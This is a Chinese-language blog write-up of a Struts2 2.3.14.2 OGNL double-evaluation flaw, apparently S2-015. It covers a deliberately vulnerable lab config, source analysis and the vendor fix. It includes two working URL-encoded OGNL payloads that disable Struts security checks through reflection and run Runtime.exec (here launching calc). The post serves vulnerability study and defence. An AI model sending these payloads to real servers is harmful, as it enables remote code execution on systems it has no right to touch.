前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

2.3.14.2 版本的 struts2 + Tomcat 9。

通配符

修改 struts.xml 文件,加上一个默认 Action:

<action name="*" class="com.example.struts2.LoginAction">
    <result>/{1}.jsp</result>
</action>

简单来说就是匹配不到 Action 时会访问的 JSP。

参数的双重评估

类似 S2-012,不过发生在设置 HTTP Headers 的 Action 而不是重定向中:

<result type="httpheader">
    <param name="headers.username">${username}</param>
</result>

漏洞利用

漏洞利用 1

本地环境为 2.3.14.2,所以修改安全配置需要使用反射,利用 payload 如下:

http://localhost:8080/${%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action

漏洞利用 2

payload 如下:

username=${%25{%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}}

漏洞分析

漏洞分析 1

看到 StrutsResultSupport 类的 execute 方法:

public void execute(ActionInvocation invocation) throws Exception {
    lastFinalLocation = conditionalParse(location, invocation);
    doExecute(lastFinalLocation, invocation);
}

这里的 location 就是我们访问的 Action,这里的意思是对 location 做一个处理(简单来说就是按照配置文件的写法拼接完成之后,再作为一个表达式来解析),然后将处理结果作为最后要访问的路径,处理的时候会调用 translateVariables 方法,也就是之前一直看到的表达式解析函数。

漏洞分析 2

类似 S2-012,% 和 $ 各解析了一次,实际上 payload 里面可以去掉外面那一层 ${},同样可以利用,struts 在处理 HTTP Headers 的时候:

if (headers != null) {
    for (Map.Entry<String, String> entry : headers.entrySet()) {
        String value = entry.getValue();
        String finalValue = parse ? TextParseUtil.translateVariables(value, stack) : value;
        response.addHeader(entry.getKey(), finalValue);
    }
}

会调用 translateVariables 函数,这里就是双重评估的触发点了。

漏洞修复

漏洞修复1

2.3.14.3 版本的修复:

protected String allowedActionNames = "[a-z]*[A-Z]*[0-9]*[.\\-_!/]*";
protected String cleanupActionName(final String rawActionName) {
    if (rawActionName.matches(allowedActionNames)) {
        return rawActionName;
    } else {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Action [#0] do not match allowed action names pattern [#1], cleaning it up!",
                rawActionName, allowedActionNames);
        }
        String cleanActionName = rawActionName;
        for(String chunk : rawActionName.split(allowedActionNames)) {
            cleanActionName = cleanActionName.replace(chunk, "");
        }
        if (LOG.isDebugEnabled()) {
            LOG.debug("Cleaned action name [#0]", cleanActionName);
        }
        return cleanActionName;
    }
}

对 Action 的名称做了白名单清理。

漏洞修复 2

同 S2-012,可以算是移除了双重评估。


Orz


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-016
F5 BIG-IP 学习